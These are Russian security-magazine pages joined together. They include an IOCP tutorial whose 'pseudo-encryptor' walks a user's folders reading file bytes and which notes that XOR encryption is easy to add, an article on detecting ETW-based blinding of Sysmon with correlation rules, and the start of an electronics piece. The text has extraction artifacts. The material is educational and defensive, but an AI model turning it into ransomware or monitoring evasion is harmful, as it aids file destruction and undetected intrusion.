OVERLAPPED

   if (hFile != INVALID_HANDLE_VALUE)
{

    IOData* pIOData = new IOData{};
  memset(pIOData, 0, sizeof(IOData));

  pIOData->fileHandle = hFile;
  wcscpy_s(pIOData->filePath, MAX_PATH, findFileData.cFileName);

   CreateIoCompletionPort(hFile, hIOCP, (ULONG_PTR)pIOData, 0);

    ReadFile(hFile, pIOData->buffer, dwReadBufferSize, NULL, &pIOData->
overlapped);
}

Пар синг струк туры про исхо дит тут, в фун кции потока из пула потоков.

   DWORD WINAPI WorkerThread(LPVOID lpParam)
{
    HANDLE hIOCP = (HANDLE)lpParam;
  DWORD bytesTransferred;
  ULONG_PTR key;
  LPOVERLAPPED lpOverlapped;
    IOData* pData = nullptr;

     
 

while (GetQueuedCompletionStatus(hIOCP, &bytesTransferred, &key, &
lpOverlapped, INFINITE))
 {
   // Парсинг
     pData = (IOData*)key;

 }
  return 0;
}

 — ука затель на OVERLAPPED-струк туру, ассо цииро ван ную
с этой опе раци ей вво да-вывода. Эти дан ные запол няют ся авто мати чес ки
и при сутс тву ют в записи, которая добав ляет ся в оче редь IOCP. Если
записей оче реди в IOCP нет, то мы можем вруч ную добавить новую запись
через .

• lpOverlapped

PostQueuedCompletionStatus()

Фак тичес ки, вызывая эту фун кцию, мы засовы ваем поток (вра ча) в пул
потоков IOCP (боль ницу) и при оста нав лива ем его выпол нение до тех пор,
пока не появит ся какая-нибудь запись в оче реди IOCP (пока не при дет
бабуш ка). При чем фун кция вер нет поток управле ния толь ко пос ле появ ления
в оче реди новых записей. Мы можем про будить потоки, если отпра вим сооб- 
щение вруч ную, нап ример через .PostQueuedCompletionStatus()

Продолжение статьи →

https://t.me/Michaelzhm
https://stackoverflow.com/questions/28677592/can-anyone-explain-to-me-this-iocp-diagram
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PostQueuedCompletionStatus()
Пред ставь, что у нас есть какая-то элит ная бабуш ка, которую нуж но при нуди- 
тель но записать в оче редь. В таком слу чае исполь зует ся

 — фун кция, поз воля ющая вруч ную

добавить запись в оче редь IOCP.

PostQueuedCompletionStatus()

 BOOL PostQueuedCompletionStatus(
  HANDLE CompletionPort,
  DWORD dwNumberOfBytesTransferred,
  ULONG_PTR dwCompletionKey,
  LPOVERLAPPED lpOverlapped);

 — порт IOCP, на который отправ лять I/O completion
packet;

• CompletionPort

 — зна чение, которое попада ет в фун- 
кции  в перемен ную

;

• dwNumberOfBytesTransferred

GetQueuedCompletionStatus()

lpNumberOfBytesTransferred

 — ключ завер шения. Зна чение, которое попада ет
в фун кции  в перемен ную

;

• dwCompletionKey

GetQueuedCompletionStatus()

lpCompletionKey

 — OVERLAPPED-струк тура. Зна чение, которое попада ет
в фун кции  в перемен ную

.

• lpOverlapped

GetQueuedCompletionStatus()

lpOverlapped

Для про буж дения ожи дающих потоков, ког да нет завер шивших ся опе раций,
иног да отсы лают фик тивное зна чение клю ча, нап ример -1. Ожи дающие
потоки дол жны про верять зна чения клю чей, и таким обра зом мож но про сиг- 
нализи ровать потоку, что пора прек ратить работу.

ÏÐÈÌÅÐ ÏÑÅÂÄÎØÈÔÐÎÂÀËÜÙÈÊÀ

Ду маю, мы готовы реали зовы вать порт IOCP с пулом потоков. Ты будешь
удив лен, но код неболь шой. Логика его прос та: асин хрон ное чте ние фай лов
из пап ки с пос леду ющим выводом пер вых пяти бай тов (собс твен но, поэто му я
и наз вал прог рамму псев дошиф роваль щиком). Все парамет ры кон тро лиру- 
ются в гло баль ных перемен ных, поэто му добавить прос тей шую XOR-опе- 
рацию с пос леду ющим , думаю, не сос тавит тру да.WriteFile()

Я решил не раз бирать каж дую стро ку, а добавить дос таточ но понят ные
ком мента рии в код.

 #include <Windows.h>
 #include <iostream>
 #include <locale.h>
 #include <string>

 CRITICAL_SECTION gCritSection;
// Четыре треда в пуле

    CONST DWORD iocpThreadCount = 4;
// Читаем 5 байт

    CONST DWORD dwReadBufferSize = 5;
    CONST std::wstring folder = L"C:\\Users\\Michael\\Downloads";

 struct IOData
{
  OVERLAPPED overlapped;
  HANDLE fileHandle;
      wchar_t buffer[dwReadBufferSize] = { 0 };
      wchar_t filePath[MAX_PATH] = { 0 };
  DWORD bytesRead;
};

   DWORD WINAPI WorkerThread(LPVOID lpParam)
{
    HANDLE hIOCP = (HANDLE)lpParam;
  DWORD bytesTransferred;
  ULONG_PTR key;
  LPOVERLAPPED lpOverlapped;
    IOData* pData = nullptr;

 // Ждем бабушку тут. Врачи в состоянии queued thread
     

 
while (GetQueuedCompletionStatus(hIOCP, &bytesTransferred, &key, &

lpOverlapped, INFINITE))
 {
   // Пришла бабушка
   EnterCriticalSection(&gCritSection);
      if (key == 0)
   {
     // Это была не бабушка, а главврач. Работа закончена!

  
  

     std::wcout << L"Thread in IOCP 0 records, received manual IRP 
from PostQueued. Exiting" << std::endl;
     LeaveCriticalSection(&gCritSection);
     break;
   }
     pData = (IOData*)key;

      if (bytesTransferred > 0)
   {

           std::wcout << L"File: " << pData->filePath << std::endl;
       std::wcout << L"Bytes: ";

              for (DWORD i = 0; i < 5; ++i) {
           std::wcout << static_cast<int>(pData->buffer[i]) << L" ";

     }
       std::wcout << std::endl;

   }
   else
   {

         std::wcerr << L"IO Failed or transferred 0 bytes" << std::endl;
   }
   LeaveCriticalSection(&gCritSection);
   CloseHandle(pData->fileHandle);
   // Бабушка обслужена. Идем к следующей
    delete pData;
 }
  return 0;
}

     VOID ProcessFolder(const std::wstring& folder, HANDLE hIOCP)
{
  WIN32_FIND_DATAW findFileData;
       HANDLE hFind = FindFirstFileW((folder + L"\\*").c_str(), &
findFileData);

    if (hFind != INVALID_HANDLE_VALUE)
 {
   do
   {

        if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
)
     {

       
 

       HANDLE hFile = CreateFileW((folder + L"\\" + findFileData.
cFileName).c_str(), GENERIC_READ,

             FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED,
NULL);

          if (hFile != INVALID_HANDLE_VALUE)
       {

             IOData* pIOData = new IOData{};
           memset(pIOData, 0, sizeof(IOData));

           pIOData->fileHandle = hFile;
           wcscpy_s(pIOData->filePath, MAX_PATH, findFileData.

cFileName);

     // Прикрепляем бабушку к больнице
            CreateIoCompletionPort(hFile, hIOCP, (ULONG_PTR)pIOData, 0)

;

     // Триггер асинхронной операции
     // По завершении функция GetQueuedCompletionStatus() вернет 
потоку поток управления

             ReadFile(hFile, pIOData->buffer, dwReadBufferSize, NULL, &
pIOData->overlapped);
       }
       else
       {

               std::wcerr << L"Failed to open file: " << GetLastError() <<
std::endl;
       }
     }
     else
     {

      
   

       if (wcscmp(findFileData.cFileName, L".") != 0 && wcscmp(
findFileData.cFileName, L"..") != 0)
       {

              ProcessFolder(folder + L"\\" + findFileData.cFileName,
hIOCP);
       }
     }
        } while (FindNextFileW(hFind, &findFileData) != 0);
   FindClose(hFind);
 }
}

 int main()
{
 InitializeCriticalSection(&gCritSection);
  setlocale(LC_ALL, "");
 // Создание больницы
      
 
HANDLE hIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0

, 0);

  HANDLE hThreads[iocpThreadCount];
         for (DWORD i = 0; i < iocpThreadCount; i++)
 {
   // Добавление врача в больницу
          hThreads[i] = CreateThread(NULL, 0, WorkerThread, hIOCP, 0, NULL)
;
      if (hThreads[i] == NULL)
   {

    
  

     std::wcerr << L"CreateThread failed with error: " <<
GetLastError() << std::endl;

      return 1;
   }
 }

 // Пушинг бабушек
  ProcessFolder(folder, hIOCP);

         for (int i = 0; i < iocpThreadCount; i++)
 {
   // Завершение работы врачей
      PostQueuedCompletionStatus(hIOCP, 0, 0, NULL);
 }

    WaitForMultipleObjects(iocpThreadCount, hThreads, TRUE, INFINITE);
     for (HANDLE hThread : hThreads)
 {
   CloseHandle(hThread);
 }

 DeleteCriticalSection(&gCritSection);
 CloseHandle(hIOCP);
  return 0;
}

При мер работы

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÂÑÒÐÎÅÍÍÎÃÎ ÏÓËÀ ÏÎÒÎÊÎÂ

BindIoCompletionCallback()
Этот метод поз воля ет свя зать кон крет ный хендл с дефол тным пулом потоков,
который при сутс тву ет в каж дом про цес се. Фак тичес ки вмес то того, что бы
соз давать собс твен ный IOCP и пул потоков, мы исполь зуем готовый.

 BOOL BindIoCompletionCallback(
  [in] HANDLE              FileHandle,
   [in] LPOVERLAPPED_COMPLETION_ROUTINE Function,
  [in] ULONG               Flags
);

Здесь
 — хендл, над которым про водят асин хрон ные опе рации;• FileHandle

 — кол бэк-фун кция, которую нуж но выз вать пос ле выпол нения
асин хрон ной опе рации (I/O completion packet отправ ляет ся авто мати чес- 
ки);

• Function

 — допол нитель ные фла ги. Обыч но 0.• Flags

Ïðèìåð êîäà
Вер немся к нашей прог рамме из прош лой час ти статьи. Выведем пер вые
пять бай тов фай лов из .C:\Users\Michael\Downloads

При мер работы

 #include <windows.h>
 #include <iostream>
 #include <string>
 #include <locale.h>

 CRITICAL_SECTION ConsoleCriticalSection;

  struct ReadContext {
  OVERLAPPED overlapped;
  HANDLE hFile;
  wchar_t buffer[5];
  wchar_t filePath[MAX_PATH];
};

     
   

void CALLBACK FileIOCompletionRoutine(DWORD dwErrorCode, DWORD
dwNumberOfBytesTransfered, LPOVERLAPPED lpOverlapped) {
    ReadContext* context = reinterpret_cast<ReadContext*>(lpOverlapped)
;

 // Пришла новая бабушка. Добавляем критическую секцию для 
синхронизации вывода на консоль
 EnterCriticalSection(&ConsoleCriticalSection);
         if (dwErrorCode == 0 && dwNumberOfBytesTransfered > 0) {
         std::wcout << L"File path: " << context->filePath << std::endl;
     std::wcout << L"First 5 bytes: ";
            
  

for (DWORD i = 0; i < dwNumberOfBytesTransfered / sizeof(wchar_t)
; ++i) {

         std::wcout << static_cast<int>(context->buffer[i]) << L" ";
   }
     std::wcout << std::endl;
 }
  else {
       std::wcerr << L"IO operation failed or transferred no bytes." <<
std::endl;
 }
 LeaveCriticalSection(&ConsoleCriticalSection);

 CloseHandle(context->hFile);
  delete context;
}

      void InitiateRead(HANDLE hFile, const wchar_t* filePath) {
     ReadContext* context = new ReadContext();
  ZeroMemory(context, sizeof(ReadContext));
  wcscpy_s(context->filePath, filePath);

     if (BindIoCompletionCallback(hFile, FileIOCompletionRoutine, 0)) {
   // Связываем бабушку с больницей
       ReadFile(hFile, context->buffer, sizeof(context->buffer), NULL, &
context->overlapped);
   // После завершения асинхронной операции бабушка придет в 
FileIOCompletionRoutine
 }
  else {
   CloseHandle(context->hFile);
    delete context;
 }
}

  int wmain() {
  setlocale(LC_ALL, "");
 InitializeCriticalSection(&ConsoleCriticalSection);

  WIN32_FIND_DATA findFileData;
     HANDLE hFind = FindFirstFile(L"C:\\Users\\Michael\\Downloads\\*", &
findFileData);

     if (hFind == INVALID_HANDLE_VALUE) {
       

  
std::wcerr << L"FindFirstFile failed with error: " <<

GetLastError() << std::endl;
    return 1;
 }

  do {
       if (!(findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{

          std::wstring filePath = L"C:\\Users\\Michael\\Downloads\\" +
std::wstring(findFileData.cFileName);

     
    

     HANDLE hFile = CreateFileW(filePath.c_str(), GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

         if (hFile == INVALID_HANDLE_VALUE) {
       continue;
     }

     // Начинаем асинхронную операцию
      InitiateRead(hFile, filePath.c_str());

   }
      } while (FindNextFile(hFind, &findFileData) != 0);

 FindClose(hFind);
  SleepEx(5000, TRUE);
 DeleteCriticalSection(&ConsoleCriticalSection);
  return 0;
}

ÂÛÂÎÄÛ

Я пос тарал ся более-менее прос тыми сло вами объ яснить дос таточ но слож- 
ную кон цепцию. Получи лось или нет — судить тебе. Ну а если получи лось, то
смею наде ять ся, что при менять изло жен ное ты будешь толь ко в закон ных
целях.

WWW

Ес ли тебе инте рес но почитать про работу шиф- 
роваль щиков боль ше, то обра ти вни мание на эти
отче ты:
•LockBit 3.0 Analysis: How to Enhance

Ransomware and Malware Protection
•LockBit 3.0 Ransomware Analysis
•LockBit Ransomware Analysis Notes

https://www.txone.com/blog/malware-analysis-lockbit-3-0/
https://laurentiu-raducu.medium.com/lockbit-3-0-ransomware-analysis-198b1d4b75a3
https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
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ВЗЛОМ

На пути ата кующе го час то сто ят сис темы
EDR, цель которых — обна ружить ата ку
и сооб щить о ней пер вой линии обо роны
SOC. Что бы оста вать ся незаме чен ными,
пен тесте рам при ходит ся обхо дить монито- 
ринг. В этой статье погово рим о том,
как имен но это дела ется в слу чае с ата ками
на Windows.

Как извес тно, один из основных механиз мов Windows, на который полага ются
боль шинс тво решений клас са EDR, — это . Он
как пос тавля ет дан ные для фор мирова ния алер тов, так и дела ет записи
в при выч ном нам жур нале событий (в отдель ных слу чаях).

Event Tracing for Windows

Ра нее мы уже раз бирали, как ата кующие могут воз дей ство вать на под- 
систе му ETW, что бы сде лать Sysmon мак сималь но бес полез ным. В этом
матери але мы пос мотрим, как эти тех ники мож но детек тировать (как
ни стран но, но с помощью того же самого ETW).

Читай также

• Ос лепить Sysmon. Выводим монито ринг из строя мак сималь но незамет но
• Ос лепить Sysmon пол ностью. Манипу лиру ем объ екта ми ETW, что бы обой- 

ти монито ринг
• До бива ем монито ринг. Как работа ют прод винутые ата ки на Sysmon
• Де тект на свя зи. Учим ся обна ружи вать сле ды атак на EDR

KERNEL EVENT TRACING

Да вай плав но перей дем к экс плу ата ции , с помощью
которо го EDR получа ют события, а точ нее, к детек ту попыток вме шать ся
в работу под систе мы ETW. В пре дыду щих матери алах я показы вал тех ники,
которы ми могут вос поль зовать ся ата кующие при воз дей ствии на под систе му
ETW, что бы изме нить поведе ние Sysmon. При веду их спи сок:

вто рого механиз ма

1. Отклю чение про вай дера  от сес сии
.
Microsoft-Windows-DNS-Client

SysmonDnsEtwSession

2. Изме нение парамет ров сес сии  с целью отклю чения всех
событий сис темно го про вай дера .

SYSMON TRACE

SystemTraceProvider

3. Отбор (филь тра ция) событий про вай деров на уров не сес сий путем изме- 
нения зна чений парамет ров  и .MatchAnyKeyword MatchAllKeyword

В этом раз деле мы пос мотрим, как мож но обна ружи вать такую активность,
и поп робу ем написать детек тиру ющую логику на язы ке 

 и . Штат ные механиз мы Windows поз- 
воля ют отсле дить эту активность, одна ко для это го нам пот ребу ется кое-что
нас тро ить.

eXtraction
and Processing Event Query Language

В сис теме при сутс тву ет замеча тель ный про вай дер, с помощью которо го
мож но отсле живать воз дей ствия на ETW, — 

. Но боль шинс тво событий это го про вай дера без пред- 

варитель ной нас трой ки недос тупны. Если точ нее, его события раз делены
на два жур нала — Admin и Analytic. В пос ледний записы вают ся события
запус ка и оста нов ки ETW-сес сии, изме нения ее парамет ров и дес крип тора
безопас ности, добав ления и уда ления из нее про вай деров, в общем —
огромная цен ность для безопас ников. Ана лити чес кий жур нал по умол чанию
вык лючен. Его необ ходимо вклю чить, чем мы и зай мем ся в пер вую оче редь.

Microsoft-Windows-Kernel-
EventTracing

ÃÎÒÎÂÈÌ ÈÍÔÐÀÑÒÐÓÊÒÓÐÓ

В про де события жур нала Analytic вклю чают ся с помощью груп повых политик
и соот ветс тву ющих под писок на WEC-сер вере.

Âêëþ÷àåì æóðíàë
Итак, для вклю чения Analytic в реес тре нуж но про писать нес коль ко клю чей.
Давай поп робу ем это сде лать.

Соз даем объ ект груп повой полити ки.

Те перь откры ваем вот эту вет ку реес тра:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\
Channels\Microsoft-Windows-Kernel-EventTracing/Analytic 

И добав ляем клю чи, как на скрин шоте ниже.

Па раметр  вклю чает ведение жур нала.Enabled
В  ука жем раз мер жур нала рав ным 20 Мбайт (0x1400000).MaxSize
С помощью парамет ра  ука зыва ем, что необ ходимо переза- 

писать ста рые события, если раз мер жур нала дос тигнет мак сималь ного зна- 
чения.

Retention

Íàñòðàèâàåì ïîäïèñêó
Ана лити чес кий жур нал мы вклю чили, оста лось толь ко дож дать ся, пока
полити ка рас простра нит ся на хос ты (ну или вос поль зовать ся инс тру мен том

). Теперь давай нас тро им под писку для сбо ра этих событий.gpupdate

Здесь мы выбира ем «Источни ки событий — Kernel-EventTracing».

Продолжение статьи →

mailto:andreykras14@gmail.com
https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-
https://xakep.ru/2024/02/09/sysmon-blinding/
https://xakep.ru/2024/03/28/sysmon-full-blinding/
https://xakep.ru/2024/05/15/advanced-sysmon-attacks/
https://xakep.ru/2024/06/14/detecting-edr-bypass/
https://xakep.ru/2024/06/14/detecting-edr-bypass/
https://help.ptsecurity.com/ru-RU/projects/maxpatrol10/26.0/help/1566293515
https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html


НАДЗОР ЗА SYSMON
ЗАЩИЩАЕМ МОНИТОРИНГ

ОТ АТАК ШТАТНЫМИ СРЕДСТВАМИ
WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÄÅÒÅÊÒÈÌ ÌÀÍÈÏÓËßÖÈÈ Ñ ETW

Итак, давай нем ного вспом ним, как свя зан механизм ETW и Sysmon.
В сис теме при сутс тву ют нес коль ко сес сий, свя зан ных с работой Sysmon.

Сес сии  и  соз дают ся для того, что бы

служ ба  мог ла получать сооб щения о сетевых соеди нени ях и DNS-

зап росах. Эта информа ция пос тупа ет от про вай деров, при сутс тву ющих
в Windows «из короб ки».

SYSMON TRACE SysmonDnsEtwSession
Sysmon64

Так же Sysmon во вре мя работы регис три рует собс твен ный про вай дер —
, который и опре деля ет перечень воз можных

EventId.

Microsoft-Windows-Sysmon

Для отсле жива ния этих событий Sysmon соз дает отдель ную сес сию —
, с помощью которой

служ ба жур нала событий Windows их чита ет и записы вает в соот ветс тву ющий
жур нал.

EventLog-Microsoft-Windows-Sysmon-Operational

Äåòåêòèì îòêëþ÷åíèå ïðîâàéäåðà îò ñåññèè
Ñïîñîá 1 — ñ ïîìîùüþ Kernel Event Tracing
Сес сия SysmonDnsEtwSession пот ребля ет события про вай дера 

.

Microsoft-
Windows-DNS-Client

Да вай поп робу ем отклю чить его от сес сии.

По ана логии мож но отклю чить про вай дер 

от сес сии .

Microsoft-Windows-Sysmon
EventLog-Microsoft-Windows-Sysmon-Operational

И пос мотрим, какие события появят ся в жур нале 

.

Microsoft-Windows-
Kernel-EventTracing\Analytic

Мы видим событие , которое говорит о том, что про вай дер был

отклю чен от сес сии . Событие не пре дос тавля ет

информа ции об име ни про вай дера, толь ко иден тифика тор:

EventId 15
SysmonDnsEtwSession

{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D} 

GUID соот ветс тву ет про вай деру . Одна ко
имя про вай дера — это не обя затель ный параметр, так как само по себе
отклю чение про вай дера от  подоз ритель но.

Microsoft-Windows-DNS-Client

SysmonDnsEtwSession
На осно ве этой информа ции мож но получить усло вие фор мирова ния

алер та:

 event SysmonSession_DisableProvider:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
  

 
       lower(event_src.title) ==
"microsoft-windows-kernel-eventtracing" and

          msgid == "15" and
 

 
       in_list(["sysmondnsetwsession",
"eventlog-microsoft-windows-sysmon-operational"], lower(object.name))
   }

  rule Sysmon_provider_disabled_from_Sysmon_session:
SysmonSession_DisableProvider

У Sysmon две сес сии, из которых есть воз можность исклю чить про вай дер, —
это  и 

. При чем если из пер вой сес сии исклю чить про вай дер, то

Sysmon потеря ет лишь информа цию о событи ях кли ента DNS, в слу чае же
со вто рой Sysmon ослепнет пол ностью.

SysmonDnsEtwSession EventLog-Microsoft-Windows-Sysmon-
Operational

Пол ный текст пра вила мож но пос мотреть в .ре пози тории Open XP Rules
Кор реляция для Elastic SIEM будет выг лядеть сле дующим обра зом.

Ñïîñîá 2 — ñ ïîìîùüþ Security Auditing
От лично, мы пос мотре ли, как мож но детек тить манипу ляции с объ екта ми ETW
на осно ве событий про вай дера ,

но есть еще один спо соб. Как извес тно, парамет ры ETW-сес сий сох раня ются
в реес тре

Microsoft-Windows-Kernel-EventTracing

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ 

Ата кующий может сде лать куда про ще и изме нить их пря мо там. За пот ребле- 
ние событий кон крет ного про вай дера сес сией отве чает флаг :Enabled

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\<
SessionName>\<ProviderGuid> 

Ес ли зна чение это го парамет ра уста новить рав ным нулю, то сес сия перес- 
танет пот реблять события про вай дера (при сле дующем стар те сис темы,
разуме ется).

Де тек тить эту активность мож но с помощью штат ного ауди та ( ,
при усло вии, что навешан соот ветс тву ющий SACL на вет ку реес тра) либо
с помощью самого Sysmon, ведь изме нения всту пят в силу толь ко при сле- 
дующем стар те сис темы и есть веро ятность, что  все-таки успе ет

дой ти до SIEM.

EventId 4657

EventId 13

По это му давай нас тро им SACL с помощью GPO.

И пос мотрим на событие.

Здесь мы видим, что ключ  поменял свое зна чение с 1 на 0. Допол ним
нашу кор реляцию:

Enable

 event SysmonSession_DisableProvider:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
  

 
       lower(event_src.title) ==
"microsoft-windows-kernel-eventtracing" and

          msgid == "15" and
 

 
       in_list(["sysmondnsetwsession",
"eventlog-microsoft-windows-sysmon-operational"], lower(object.name))
   }

 event SysmonEtwSession_CmParamsModified:
   key:
       event_src.host
    filter {

         filter::NotFromCorrelator() and ((
              event_src.title == "windows" and

             msgid == "4657"
         ) or (

              event_src.title == "sysmon" and
              msgid == "13" )

        ) and
            in_list(["create", "modify"], lower(action)) == True and
 

    
       regex(object.path, ".*wmi\\\\autologger\\\\
eventlog-microsoft-windows-sysmon-operational.*", 0) != null and

         lower(object.name) == "enabled"
   }

  
  

rule Sysmon_provider_disabled_from_Sysmon_session:
SysmonSession_DisableProvider or SysmonEtwSession_CmParamsModified

Äåòåêòèì èçìåíåíèå ôëàãîâ ñåññèè SYSMON TRACE
Как ты пом нишь, к сес сии  под клю чен сис темный про вай дер,

манипу лиро вать которым мож но, меняя фла ги сес сии (поле ).

SYSMON TRACE
EnableFlags

Да вай отклю чим все события сис темно го про вай дера от этой сес сии.

На этот раз у нас будет сфор мирова но событие  в жур нале

.

EventId 12
Microsoft-Windows-Kernel-EventTracing\Analytic

Это событие не пре дос тавля ет деталь ной информа ции об изме нении
парамет ра , одна ко факт изме нения нас тро ек этой сес сии тоже

подоз рителен.

EnableFlags

И получа ем еще один детект на язы ке XP:

event SysmonSession_GenericParamsModified: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() and 
       lower(event_src.title) == "microsoft-windows-kernel-
eventtracing" and 
       msgid == "12" and 
       lower(object.name) == "sysmon trace" 
   } 
rule Sysmon_session_modified: SysmonSession_Modified 

Пол ный текст пра вила выложен .на GitHub
Вот как это же пра вило будет выг лядеть для Elastic SIEM.

Äåòåêòèì èçìåíåíèÿ ïàðàìåòðîâ îòáîðà ñîáûòèé
Ñïîñîá 1 — ñ ïîìîùüþ Kernel Event Tracing
Да вай пос мотрим на парамет ры сес сии 

.
EventLog-Microsoft-Windows-

Sysmon-Operational

Эта сес сия нуж на для того, что бы служ ба жур нала событий Windows мог ла
писать события Sysmon в файл EVTX.

Как вид но из скри на, служ ба пот ребля ет события единс твен ного про вай- 
дера — . Как я писал в статье «

», для каж дого из про вай деров на уров не сес сии может про исхо- 
дить филь тра ция (отбор) событий с помощью парамет ров 

и . По дефол ту эти парамет ры уста нов лены
в  и , что озна чает пот реблять абсо лют но все

события. Ата кующие могут модифи циро вать эти парамет ры, что бы скрыть
вре донос ную активность. Нап ример, если параметр  уста- 
новить в , то сес сия перес танет пот реблять события. В этом слу чае в жур- 

нале  будет сфор- 

мирова но сле дующее событие.

Microsoft-Windows-Sysmon До бива ем
монито ринг

MatchAnyKeyword
MatchAllKeyword

0xffffffffffffffff 0x0

MatchAnyKeyword
0x1

Microsoft-Windows-Kernel-EventTracing\Analytic

По мимо поля , нам для фор мирова ния детек та понадо бит ся

поле , которое будет отли чать ся от зна чения
.

SessionName
MatchAnyKeyword

18446744073709551615
Ес ли изме нить параметр  на , то

это ана логич ным обра зом ска жет ся на фор мирова нии событий в жур нале
EVTX и появит ся событие, как на скрин шоте.

MatchAllKeyword 0xffffffffffffffff

В этом слу чае мы видим изме нение зна чения поля  (теперь

оно отлично от ).

MatchAllKeyword
0x00

На осно ве дан ных событий мы можем сфор мировать сле дующее усло вие
кор реляции:

 event SysmonSession_MatchParamsModified:
    key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
  

 
       lower(event_src.title) ==
"microsoft-windows-kernel-eventtracing" and

          msgid == "14" and
 

  
       in_list(["eventlog-microsoft-windows-sysmon-operational",
"sysmondnsetwsession"], lower(object.name)) and

             ($datafield5 != "18446744073709551615" or $datafield6 != "0")
   }

  rule Sysmon_session_modified: SysmonSession_MatchParamsModified

Пол ный текст пра вила лежит .на GitHub
Ес ли пор тировать его на Elastic SIEM, то оно будет выг лядеть так, как на

скри нах ниже.

Ñïîñîá 2 — ñ ïîìîùüþ Security Auditing
Так же как и в слу чае с отклю чени ем про вай дера от ETW-сес сии, эту
активность мож но детек тить на осно ве  и . Давай
пос мотрим, как это выг лядит.

EventId 4657 Sysmon 13

И для .MatchAllKeyword

До пол ним наше пра вило:

 event SysmonSession_GenericParamsModified:
   key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
  

 
       lower(event_src.title) ==
"microsoft-windows-kernel-eventtracing" and

          msgid == "12" and
         lower(object.name) == "sysmon trace"

   }

 event SysmonSession_MatchParamsModified:
    key:
       event_src.host
    filter {

        filter::NotFromCorrelator() and
  

 
       lower(event_src.title) ==
"microsoft-windows-kernel-eventtracing" and

          msgid == "14" and
 

  
       in_list(["eventlog-microsoft-windows-sysmon-operational",
"sysmondnsetwsession"], lower(object.name)) and

             ($datafield5 != "18446744073709551615" or $datafield6 != "0")
   }

 event SysmonSession_CmMatchParamsModified:
   key:
       event_src.host
    filter {

         filter::NotFromCorrelator() and ((
              event_src.title == "windows" and

             msgid == "4657"
         ) or (

              event_src.title == "sysmon" and
              msgid == "13" )

        ) and
            in_list(["create", "modify"], lower(action)) == True and
 

     
       regex(object.path, ".*wmi\\\\autologger\\\\
eventlog-microsoft-windows-sysmon-operational.*", 0) != null and (

              lower(object.name) == "matchallkeyword" or
             lower(object.name) == "matchanykeyword"

       )
   }

    
  

rule Sysmon_session_modified: SysmonSession_GenericParamsModified or
SysmonSession_MatchParamsModified or
SysmonSession_CmMatchParamsModified

ÂÛÂÎÄÛ

Итак, в этом матери але мы с тобой пос мотре ли, как мож но ловить ата ки
на Sysmon с помощью штат ного ауди та Windows. На этом мы завер шим наше
увле катель ное путешес твие в мир написа ния детек тов и пой дем копить новый
матери ал!

https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/Sysmon_provider_disabled_from_Sysmon_session/rule.co
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4657
https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/Sysmon_session_modified/rule.co
https://xakep.ru/2024/05/15/advanced-sysmon-attacks/
https://github.com/Security-Experts-Community/open-xp-rules/blob/master/packages/windows_open_package/correlation_rules/mitre_attck_defense_evasion/Sysmon_session_modified/rule.co
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GEEK

Без полуп ровод ников не обхо дит ся ни одно
циф ровое устрой ство, а что бы из них
собирать циф ровые схе мы, нуж но знать
вольт-амперные харак терис тики. В этой
статье под робно раз берем, что такое ВАХ,
как ее изме рять вруч ную и с помощью мик- 
рокон трол лера.

ÒÅÎÐÈß

Преж де чем прис тупать к прак тике, нуж но разоб рать нес коль ко важ ных
момен тов, которые понадо бят ся нам в работе. Для начала, конеч но, сто ит
вспом нить, что же такое полуп ровод ник.

INFO

Ес ли хочешь еще силь нее осве жить свои зна ния
в элек тро нике, про читай пре дыду щие мои статьи.
В них опи саны базовые понятия и элек трон ные
ком понен ты, которые нам сегод ня понадо бят ся:
•Циф ровая элек тро ника с самого начала.

Собира ем схе мы на MOSFET-тран зисто рах
•Бунт мно гоно жек. Собира ем устрой ство

с интеграль ными мик росхе мами

Ïîëóïðîâîäíèêè
Что при ходит в голову, ког да слы шишь сло во «полуп ровод ник»? Полуп ровод- 
ники исполь зуют ся чуть ли не во всех сов ремен ных устрой ствах, полуп ровод- 
ник — это глав ная инно вация эпо хи. Мы прош ли огромный путь от опы тов
Фарадея до пер вых тран зисто ров и до сов ремен ных компь юте ров.

Лю бая мик росхе ма, лежащая в осно ве циф рового устрой ства, сос тоит
из тран зисто ров, в прош лых стать ях про элек тро нику я о них под робно рас- 
ска зывал. А тран зисто ры, в свою оче редь, соз дают ся на осно ве имен но
полуп ровод ников.

Сам по себе полуп ровод ник — это вещес тво, име ющее осо бые свой ства
про води мос ти элек три чес тва. «Какие еще осо бые свой ства? — спро сишь
ты. — Ток есть ток, подал на один конец про вод ника плюс питания, на дру гой
минус, ток и течет!» А вот в этом и есть изю мин ка полуп ровод ников. По наз- 
ванию понят но, что они находят ся как бы меж ду про вод никами и диэлек три- 
ками, то есть меж ду матери ала ми, ток пол ностью про водя щими, и матери- 
ала ми, не про водя щими ток вов се. Про водить или не про водить — вот в чем
воп рос!

Так вот, суть полуп ровод ника в том, что свой ства его про води мос ти могут
изме нять ся в зависи мос ти от усло вий, в которых он находит ся. И имен но
на этом осно вана вся сов ремен ная элек тро ника, ведь так мож но совер шенно
